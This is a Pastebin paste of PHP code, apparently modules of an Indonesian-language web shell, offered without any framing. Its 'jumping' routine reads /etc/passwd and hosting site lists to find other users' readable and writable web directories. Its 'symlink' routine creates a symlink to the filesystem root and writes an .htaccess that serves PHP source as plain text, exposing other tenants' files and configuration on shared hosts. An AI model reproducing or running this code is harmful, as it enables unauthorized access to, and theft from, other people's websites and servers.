Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- if($_GET['zz'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- }
- //////////////////
- elseif($_GET['do'] == 'jumping') {
- $i = 0;
- echo "<div class='margin: 5px auto;'>";
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=#0F6516>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } elseif(preg_match("/vhosts|vhost/", $dir)) {
- preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace("www.", "", $url);
- $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
- if(is_writable($web_vh)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=#0F6516>$web_vh</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=silver>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- }
- echo "</div>";
- }
- ///////////////////////////////////
- elseif($_GET['do'] == 'symlink') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- $d0mains = @file("/etc/named.conf");
- ##httaces
- if($d0mains){
- @mkdir("nb_sym",0777);
- @chdir("nb_sym");
- @exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex n45ht.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <table align=center border=1 style='width:70%;border-color:#333333;'>
- <tr>
- <td align=center>-<font size=3>-S. No.-</font></td>
- <td align=center>-<font size=3>-Domains-</font></td>
- <td align=center>-<font size=3>-Users-</font></td>
- <td align=center>-<font size=3>-Symlink-</font></td>
- </tr>";
- $dcount = 1;
- foreach($d0mains as $d0main){
- if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
- flush();
- if(strlen(trim($domains[1][0])) > 2){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
- echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
- <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
- <td>".$user['name']."</td>
- <td><a href='$full/nb_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
- flush();
- $dcount++;}}}
- echo "</table>";
- }else{
- $TEST=@file('/etc/passwd');
- if ($TEST){
- @mkdir("nb_sym",0777);
- @chdir("nb_sym");
- exe("ln -s / root");
- $file3 = 'Options Indexes FollowSymLinks
- DirectoryIndex n45ht.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);
- @fclose($fp3);
- echo "
- <table align=center border=1><tr>
- <td align=center><font size=3>-S. No.-</font></td>
- <td align=center><font size=3>-Users-</font></td>
- <td align=center><font size=3>-Symlink-</font></td></tr>";
- $dcount = 1;
- $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
- while(!feof($file)){
- $s = fgets($file);
- $matches = array();
- $t = preg_match('//(.*?)://s', $s, $matches);
- $matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/nb_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}fclose($file);
- echo "</table>";}else{if($os != "Windows"){@mkdir("nb_sym",0777);@chdir("nb_sym");@exe("ln -s / root");$file3 = '
- Options Indexes FollowSymLinks
- DirectoryIndex n45ht.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- ';
- $fp3 = fopen('.htaccess','w');
- $fw3 = fwrite($fp3,$file3);@fclose($fp3);
- echo "
- <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
- <table align=center border=1><tr>
- <td align=center><font size=3>ID</font></td>
- <td align=center><font size=3>Users</font></td>
- <td align=center><font size=3>Symlink</font></td></tr>";
- $temp = "";$val1 = 0;$val2 = 1000;
- for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
- if ($uid)$temp .= join(':',$uid)."n";}
- echo '<br/>';$temp = trim($temp);$file5 =
- fopen("test.txt","w");
- fputs($file5,$temp);
- fclose($file5);$dcount = 1;$file =
- fopen("test.txt", "r") or exit("Unable to open file!");
- while(!feof($file)){$s = fgets($file);$matches = array();
- $t = preg_match('//(.*?)://s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
- if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
- continue;
- echo "<tr><td align=center><font size=2>" . $dcount . "</td>
- <td align=center><font class=txt>" . $matches . "</td>";
- echo "<td align=center><font class=txt><a href=$full/nb_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
- $dcount++;}
- fclose($file);
- echo "</table></div></center>";unlink("test.txt");
- } else
- echo "<center><font size=3>Cannot create Symlink</font></center>";
- }
- }
- }
- ////////////////////
- ?>
Advertisement
Add Comment
Please, Sign In to add comment